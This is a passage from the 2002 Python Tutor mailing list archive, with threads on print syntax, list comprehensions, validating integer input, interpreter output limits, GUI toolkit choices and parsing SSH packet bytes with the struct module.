separates the function from the display - A Good Thing(TM)

See the Case Study on my tutor for an example of how that 
can be done...

Alan g.
Author of the 'Learning to Program' web site
http://www.freenetpages.co.uk/hp/alan.gauld
( Who got himself suspended from the mailing list for 
  some reason and only realised yesterday...)



From alan.gauld@bt.com  Thu Feb 28 11:00:17 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 28 Feb 2002 11:00:17 -0000
Subject: [Tutor] Problems with genetically engineering the Print Ogre
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3E2@mbtlipnt02.btlabs.bt.co.uk>

> Since I came into the discussion late - did anybody ever 
> suggest using a format like 
> 
>     to <file> print <stuff>
> 
> or, as not to use up "to" as a word, 
> 
>     into <file> print <stuff>

This is just a 'natural' English translation of OO syntax, thus:

file.print()

It clutters up the language to little advantage IMHO.
If file objects got a method that acted like the print 
statement (foibles and all) then that would IMHO suffice.

BTW I'm astounded this dsiscussion is still going on from 
when I lost contact over a week ago! :-)

Alan g.


From tim.one@comcast.net  Thu Feb 28 08:49:02 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 28 Feb 2002 03:49:02 -0500
Subject: [Tutor] Problems with genetically engineering the Print Ogre
In-Reply-To: <200202272232.g1RMWCS29210@possum.cozen.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEBMOAAA.tim.one@comcast.net>

[Remco Gerlich]
> Personally I think list comprehensions are beautiful. It helps if you
> are used to similar notation in math.

[Scot Stevenson]
> I sure it does - but that does somewhat confirm my suspicion that this
> is a construct added for a very specialized group of users =8).

In America, students are exposed to "set builder" notation starting at about
age 12.  That's where list comprehensions trace from, quite directly (Python
borrowed it from Haskell, which in turn borrowed it from SETL, which in turn
was inspired by Cantor's beautiful 19th-century pen-&-paper notation; it's
uglier in ASCII, of course).  You can't tell me Germany coddles its young
students more than America does <wink>.



From blacktrash@gmx.net  Thu Feb 28 17:14:51 2002
From: blacktrash@gmx.net (Christian Ebert)
Date: Thu, 28 Feb 2002 18:14:51 +0100
Subject: [Tutor] how to get complete output in interpreter?
Message-ID: <20020228181505-r01010800-d3a98d0d-0922-0108@217.0.165.195>

Hello there,

Is there an upper limit to the (lines of?) print statements
in the interpreter?

As I don't want to bother with a gui yet I use the
interpreter as interface for a little "database". Everything
works fine, except when I print a "long" result of a query.
The interpreter then truncates the result at the top and
displays only a certain amount of lines. It's not due to an
error in the script because when I write the result to a
file it's all there. Splitting into several print statements
doesn't make any difference either.

Anybody knows how to change this? Or is it a MacPython issue
(I will ask on the macpython list then)?

TIA

Christian
-- 
Hyperion in Frankfurt
www.tko.ch/blacktrash
www.schauspielfrankfurt.de


From alan.gauld@bt.com  Thu Feb 28 17:25:59 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 28 Feb 2002 17:25:59 -0000
Subject: [Tutor] Problems with genetically engineering the Print Ogre
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3E7@mbtlipnt02.btlabs.bt.co.uk>

> In America, students are exposed to "set builder" notation 
> starting at about age 12.  That's where list comprehensions 
> trace from, quite directly 

I can't speak for Germany, nor even for modern UK practice,
but personally I didn't meet set definition syntax until the 
end of second year high school (about 14) and had the 
opportunity to drop math (and major on say sciences/engineering 
instead) very soon after. Thus it is entirely possible that 
I could have gone thru' school with only a brief exposure to 
set building notation. (We had of course covered set theory 
with Venn diagrams, Union symbols etc but not the set 
definition syntax resembling comprehensions...) In fact I 
personally kept up math and thus had exposure through the next 
3 years until I went off to earn a living!

Then, 9 years after leaving school I went back to University 
and studied Electrical Engineering with compulsory math each 
year for 4 years. I think I only saw set notation being used
a handful of times and it certainly wasn't needed to pass 
the exams. My point being that in my own experience it is 
very easy to become a professional engineer/programmer 
without much exposure to set builder notation and in 
that case list comprehensions are far from being 
easily comprehensible! 

As for me, I think they are overused - like many new 
toys - and the older map/filter/reduce are often clearer 
constructs, but in the other places, where they really 
are useful I am starting to use them and grudgingly like 
them.... I just don't find the 

[x for x ...

syntax scans well in my brain...

> You can't tell me Germany[or UK?] coddles its young
> students more than America does <wink>.

It may be so. Or maybe we give them integral calculus sooner 
to compensate - around the same time as set builder notation...

:-)

Alan G.


From clickron@webtv.net  Thu Feb 28 18:17:33 2002
From: clickron@webtv.net (Ron)
Date: Thu, 28 Feb 2002 13:17:33 -0500 (EST)
Subject: [Tutor] types
Message-ID: <5497-3C7E743D-327@storefull-164.iap.bryant.webtv.net>

I want to ask for a integer using something like number = input("Give me
a number'), but if a string is accidentally put in I don't want it to
throw an error message. I'd like it to say something like "Enter a
number, try again."  I'm sure it's something simple and I'm just not
seeing it. Appreciate any help out there.

Ron



From scarblac@pino.selwerd.nl  Thu Feb 28 18:27:09 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 28 Feb 2002 19:27:09 +0100
Subject: [Tutor] types
In-Reply-To: <5497-3C7E743D-327@storefull-164.iap.bryant.webtv.net>; from clickron@webtv.net on Thu, Feb 28, 2002 at 01:17:33PM -0500
References: <5497-3C7E743D-327@storefull-164.iap.bryant.webtv.net>
Message-ID: <20020228192709.A7047@pino.selwerd.nl>

On  0, Ron <clickron@webtv.net> wrote:
> I want to ask for a integer using something like number = input("Give me
> a number'), but if a string is accidentally put in I don't want it to
> throw an error message. I'd like it to say something like "Enter a
> number, try again."  I'm sure it's something simple and I'm just not
> seeing it. Appreciate any help out there.

Firstly, you need to use raw_input instead of input - it returns the string
the user typed, and doesn't try to convert it itself. This is almost always
better (the user can type arbitrary Python commands into the input() prompt!)

Then, we put it in a loop, that continues until we break out of it when the
integer was entered correctly.

And you need to catch the error with a try: except: block.

It becomes something like:


while 1:
   s = raw_input("Enter a number: ")
   try:
      i = int(s)
   except ValueError:
      # Do this in case of an error
      print "Please enter a legal integer."
   else:
      # Do this if there was no error.
      break # End loop
      
print "You entered", i

This sort of thing takes 1 line, until the moment you start thinking about
the real world, then it suddenly takes around 10...

-- 
Remco Gerlich


From glingl@aon.at  Thu Feb 28 20:43:53 2002
From: glingl@aon.at (Gregor Lingl)
Date: Thu, 28 Feb 2002 21:43:53 +0100
Subject: [Tutor] types
References: <5497-3C7E743D-327@storefull-164.iap.bryant.webtv.net>
Message-ID: <002701c1c098$a25b29d0$1664a8c0@mega>

You arrive at something simple if you use
raw_input() which asks for a string and then
try to convert to an integer and catch the error
if this doesn't work, asking again for another input:

def askForInteger(prompt):
    answer = raw_input(prompt)
    while type(answer)!=type(0):
        try:
            answer = int(answer)
        except:
            answer = raw_input("Enter an integer: ")
    return answer

Regards
Gregor

----- Original Message ----- 
From: "Ron" <clickron@webtv.net>
To: <tutor@python.org>
Sent: Thursday, February 28, 2002 7:17 PM
Subject: [Tutor] types


> I want to ask for a integer using something like number = input("Give me
> a number'), but if a string is accidentally put in I don't want it to
> throw an error message. I'd like it to say something like "Enter a
> number, try again."  I'm sure it's something simple and I'm just not
> seeing it. Appreciate any help out there.
> 
> Ron
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 



From dsh8290@rit.edu  Thu Feb 28 20:50:50 2002
From: dsh8290@rit.edu (dman)
Date: Thu, 28 Feb 2002 15:50:50 -0500
Subject: [Tutor] how to get complete output in interpreter?
In-Reply-To: <20020228181505-r01010800-d3a98d0d-0922-0108@217.0.165.195>
References: <20020228181505-r01010800-d3a98d0d-0922-0108@217.0.165.195>
Message-ID: <20020228205050.GA12174@dman.ddts.net>

On Thu, Feb 28, 2002 at 06:14:51PM +0100, Christian Ebert wrote:
| Hello there,
| 
| Is there an upper limit to the (lines of?) print statements
| in the interpreter?

No.  There is a limit to the size of your screen, though.

| As I don't want to bother with a gui yet I use the
| interpreter as interface for a little "database". Everything
| works fine, except when I print a "long" result of a query.
| The interpreter then truncates the result at the top and
| displays only a certain amount of lines. It's not due to an
| error in the script because when I write the result to a
| file it's all there. Splitting into several print statements
| doesn't make any difference either.

If you have a *nix style system (OS X) you can pipe the output through
a pager so that you can scroll through all the output.

| Anybody knows how to change this? Or is it a MacPython issue
| (I will ask on the macpython list then)?

It is an environment issue.  I know that on win9x, the "DOS shell"
window only gives around 24 or 25 lines and no scrollback.  In win2k,
the user can configure how many lines of scrollback to remember.  Then
he can scroll up and see what he missed (up to a point).  The same
goes for the X-based terminal emulators I've used.  I haven't used
MacOS in many years, and when I did I knew very little about
computers.  If you have OS X, though, it is the best yet since it is
based on an *BSD kernel (OpenBSD I think).

-D

-- 

"...In the UNIX world, people tend to interpret `non-technical user' as
meaning someone who's only ever written one device driver."
    --Daniel Pead



From python@jayed.com  Thu Feb 28 20:53:26 2002
From: python@jayed.com (python@jayed.com)
Date: Thu, 28 Feb 2002 14:53:26 -0600
Subject: [Tutor] packet parsing
Message-ID: <20020228205326.GA54231@jayed.com>

Hello,

I'm trying to make the best of my unemployed time and have decided that
implementing an SSH client in Python will keep me occupied for a few
years.

I've just started, and am working on the first non-trivial part (which
appeared REALLY quickly in the IETF draft).

My program connects to the server; the server says, "I'm an SSH server".
My client says, "I'm an SSH client".  The server then sends a variable
length message in SSH Binary Packet Format to initiate a key exchange.

My first question is:  do I need to be concerned about
little/big/network-endian?  Both of my machines are little-endian.  So
when I look at a byte from the SSH server's packet, do I need to do a
network-to-host translation?  Conversely, when I send a byte to the
server, do I need to do a host-to-network translation

My second question is: how do I look at/manipulate bytes of an incoming
network packet?  Or bits even.  Right now, I have the following piece of 
code that receives the SSH server's initial key exchange packet:

    kexrecv = mysock.recv(blocksize) 

I want to directly manipulate the bits/bytes of kexrecv.  Everything
that I've done makes kexrecv into a string.  And I'm having problems
with kexrecv as a string -- I want to deal with it as a binary stream.
(Note:  this might not be the best way to deal with it, but until I have
a good grip on the SSH transport protocol, it's how I prefer to deal
with it -- right now I want to be able to say: "read the first 32 bits,
convert it into a number; read the next 8 bits, convert it into a
number; read the next 128 bits...blah, blah, etc.).

type(kexrecv) results in <type 'str'>
type(`kexrecv`) results in <type 'str'>
len(kexrecv) returns nothing
len(`kexrecv`) returns 830
print len(kexrecv) returns 632
print len(`kexrecv`) returns 830

(Yes, I know that the backticks are equivalent to repr() -- I looked it
up on google last night).  I want to deal with kexrecv and not
`kexrecv`.  But I haven't been able to figure it out.

If kexrecv is a string [as type(kexrecv) seems to think] why doesn't
len(kexrecv) return anything?  And if kexrecv is a string, why does
len(`kexrecv`) return a larger value than "print len(kexrecv)"?

Thanks,
Jay






From scarblac@pino.selwerd.nl  Thu Feb 28 20:57:19 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 28 Feb 2002 21:57:19 +0100
Subject: [Tutor] packet parsing
In-Reply-To: <20020228205326.GA54231@jayed.com>; from python@jayed.com on Thu, Feb 28, 2002 at 02:53:26PM -0600
References: <20020228205326.GA54231@jayed.com>
Message-ID: <20020228215719.A7775@pino.selwerd.nl>

On  0, python@jayed.com wrote:
> My second question is: how do I look at/manipulate bytes of an incoming
> network packet?  Or bits even.  Right now, I have the following piece of 
> code that receives the SSH server's initial key exchange packet:
> 
>     kexrecv = mysock.recv(blocksize) 
> 
> I want to directly manipulate the bits/bytes of kexrecv.  Everything
> that I've done makes kexrecv into a string.  And I'm having problems
> with kexrecv as a string -- I want to deal with it as a binary stream.

The string *is* the binary stream. A string is just a bunch of bytes.

> type(kexrecv) results in <type 'str'>
> type(`kexrecv`) results in <type 'str'>
> len(kexrecv) returns nothing
> len(`kexrecv`) returns 830
> print len(kexrecv) returns 632
> print len(`kexrecv`) returns 830
> 
> (Yes, I know that the backticks are equivalent to repr() -- I looked it
> up on google last night).  I want to deal with kexrecv and not
> `kexrecv`.  But I haven't been able to figure it out.
> 
> If kexrecv is a string [as type(kexrecv) seems to think] why doesn't
> len(kexrecv) return anything?  And if kexrecv is a string, why does
> len(`kexrecv`) return a larger value than "print len(kexrecv)"?

kexrecv is a string of length 632.

`kexrecv` is its text representation, in a way that it could be a python
literal - that means that say a zero byte is one character in the string
itself, but '\x00' in the repr - three bytes longer. Try playing around with
the string (and small parts of it) a bit more in the interpreter to get the
idea.

I don't have more time atm to reply carefully to your other comments, this
is just a quick post.

-- 
Remco Gerlich


From python@jayed.com  Thu Feb 28 21:16:13 2002
From: python@jayed.com (python@jayed.com)
Date: Thu, 28 Feb 2002 15:16:13 -0600
Subject: [Tutor] packet parsing
In-Reply-To: <20020228215719.A7775@pino.selwerd.nl>
References: <20020228205326.GA54231@jayed.com> <20020228215719.A7775@pino.selwerd.nl>
Message-ID: <20020228211613.GB54231@jayed.com>

Remco Gerlich(scarblac@pino.selwerd.nl)@2002.02.28 21:57:19 +0000:
> On  0, python@jayed.com wrote:
> > My second question is: how do I look at/manipulate bytes of an incoming
> > network packet?  Or bits even.  Right now, I have the following piece of 
> > code that receives the SSH server's initial key exchange packet:
> > 
> >     kexrecv = mysock.recv(blocksize) 
> > 
> > I want to directly manipulate the bits/bytes of kexrecv.  Everything
> > that I've done makes kexrecv into a string.  And I'm having problems
> > with kexrecv as a string -- I want to deal with it as a binary stream.
> 
> The string *is* the binary stream. A string is just a bunch of bytes.
That's what I thought.  But "print kexrecv" returns nothing in the
interpreter.  I just get ">>>" back.  "print kexrecv.capitalize()"
returns nothing.  "kexrecv.capitalize()" returns a repr() type value
"'\x00\x00..."

> kexrecv is a string of length 632.
> 
> `kexrecv` is its text representation, in a way that it could be a python
> literal - that means that say a zero byte is one character in the string
> itself, but '\x00' in the repr - three bytes longer. Try playing around with
> the string (and small parts of it) a bit more in the interpreter to get the
> idea.
OK, that makes sense.  But how do I peel of individual bytes?  (I just
played with lstrip and am not having any luck -- but this is probably my
lack of knowledge).

So `kexrecv` is the text value.  While kexrecv types as a string, I
can't seem to manipulate it as a string.  It keeps returning nothing but
">>>".

> I don't have more time atm to reply carefully to your other comments, this
> is just a quick post.
Thanks for your time.


From scarblac@pino.selwerd.nl  Thu Feb 28 21:34:49 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 28 Feb 2002 22:34:49 +0100
Subject: [Tutor] packet parsing
In-Reply-To: <20020228211613.GB54231@jayed.com>; from python@jayed.com on Thu, Feb 28, 2002 at 03:16:13PM -0600
References: <20020228205326.GA54231@jayed.com> <20020228215719.A7775@pino.selwerd.nl> <20020228211613.GB54231@jayed.com>
Message-ID: <20020228223449.A7958@pino.selwerd.nl>

On  0, python@jayed.com wrote:
> > The string *is* the binary stream. A string is just a bunch of bytes.
> That's what I thought.  But "print kexrecv" returns nothing in the
> interpreter. 

Probably they're all unprintable bytes then, like null bytes.

> I just get ">>>" back.  "print kexrecv.capitalize()"
> returns nothing.  "kexrecv.capitalize()" returns a repr() type value
> "'\x00\x00..."

Right, null bytes.

> OK, that makes sense.  But how do I peel of individual bytes?  (I just
> played with lstrip and am not having any luck -- but this is probably my
> lack of knowledge).

kexrecv[0] is the first byte, kexrecv[1] the second, etc.

Try

for byte ik kexrecv:
   print ord(byte)
   
To see the integer values.


And now, Roda JC has scored in Milan! PSV is equal vs Leeds!
(back to watching football :))

-- 
Remco Gerlich


From israel@lith.com  Wed Feb 27 22:24:52 2002
From: israel@lith.com (Israel Evans)
Date: Wed, 27 Feb 2002 14:24:52 -0800
Subject: [Tutor] gui questions
Message-ID: <AF020C5FC551DD43A4958A679EA16A15017B3FB2@abbott.lith.com>

	I'm also fairly new to this and haven't done a ton of programming
but I found that it is far simpler and less stressful to, in most cases,
write the python program to work in a command line fashion and then move on
to learning the crazy world of GUIs.  After both areas are somewhat under
control, then hooking up functionality to a gui suited to your already
functioning program isn't all that difficult.

	I tried out Tkinter but I've been enjoying wxPython a bit more.  I
can't tell you exactly why, the documentation is split between pretty basic
tutorials in python speak and a large majority of very detailed
documentation in C++-speak which can be intimidating.  The way it's setup
seems somehow nicer than TKinter. 
	The people on the mailing wxPython mailing list are very active and
pretty helpful and they've helped me out a bunch.  Even when they aren't
responding directly to my post, it seems a number of people are dealing with
the same issues so I get the benefit of many heads and fingers working on
the questions I need answers to.

I'm not the best person to talk to about these issues, but the above words
are my 0.02.



~Israel~

-----Original Message-----
From: Henry Porter [mailto:porterh@yahoo.com] 
Sent: 27 February 2002 3:10 PM
To: python tutor
Subject: [Tutor] gui questions

I'm just starting to learn python and I have an idea for a program I'd
like to write.  I want to use some sort of gui.  Would it be better for me
to start out using curses or tkinter?  I'd like to learn both eventually,
so I'm just wondering which would be easier to use.  Would wxpython be a
choice also, or is it very much harder?

Also, should I start writing my program for the gui from the start or
write the basic functionality and a simpler interface then add the gui
part later?

Thanks for any tips,
Henry


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From dsh8290@rit.edu  Thu Feb 28 22:43:26 2002
From: dsh8290@rit.edu (dman)
Date: Thu, 28 Feb 2002 17:43:26 -0500
Subject: [Tutor] packet parsing
In-Reply-To: <20020228223449.A7958@pino.selwerd.nl>
References: <20020228205326.GA54231@jayed.com> <20020228215719.A7775@pino.selwerd.nl> <20020228211613.GB54231@jayed.com> <20020228223449.A7958@pino.selwerd.nl>
Message-ID: <20020228224326.GA12894@dman.ddts.net>

On Thu, Feb 28, 2002 at 10:34:49PM +0100, Remco Gerlich wrote:
| On  0, python@jayed.com wrote:
 
| > OK, that makes sense.  But how do I peel of individual bytes?  (I just
| > played with lstrip and am not having any luck -- but this is probably my
| > lack of knowledge).
| 
| kexrecv[0] is the first byte, kexrecv[1] the second, etc.
| 
| Try
| 
| for byte ik kexrecv:
|    print ord(byte)
|    
| To see the integer values.

In addition, look at the 'struct' module.  It contains methods to
treat strings as packed binary data.  For example,

# turn my PyInt object into a bitstream :
s = struct.pack( "> i " , 13 )

# turn the bitsequence into a PyInt so I can perform mathmatical
# operations on it :
i = struct.unpack( "> i " , "\x00\x00\x00\x0d" )[ 0 ]

(note that in this example, s will have the value that is passed to
unpack() as a literal)

Try it out!  :-).  And read the docs too.

-D

-- 

If we claim we have not sinned, we make Him out to be a liar and His
Word has no place in our lives.
        I John 1:10



From clickron@webtv.net  Thu Feb 28 23:22:28 2002
From: clickron@webtv.net (Ron)
Date: Thu, 28 Feb 2002 18:22:28 -0500 (EST)
Subject: [Tutor] types
In-Reply-To: pythonhack@yahoo.com's message of Thu, 28 Feb 2002 10:19:15
 -0800
Message-ID: <14797-3C7EBBB4-2142@storefull-166.iap.bryant.webtv.net>

That's what I was looking for. Thanks for the help.
I'm learning even though it's not happening quickly.
But I'm having fun.

Ron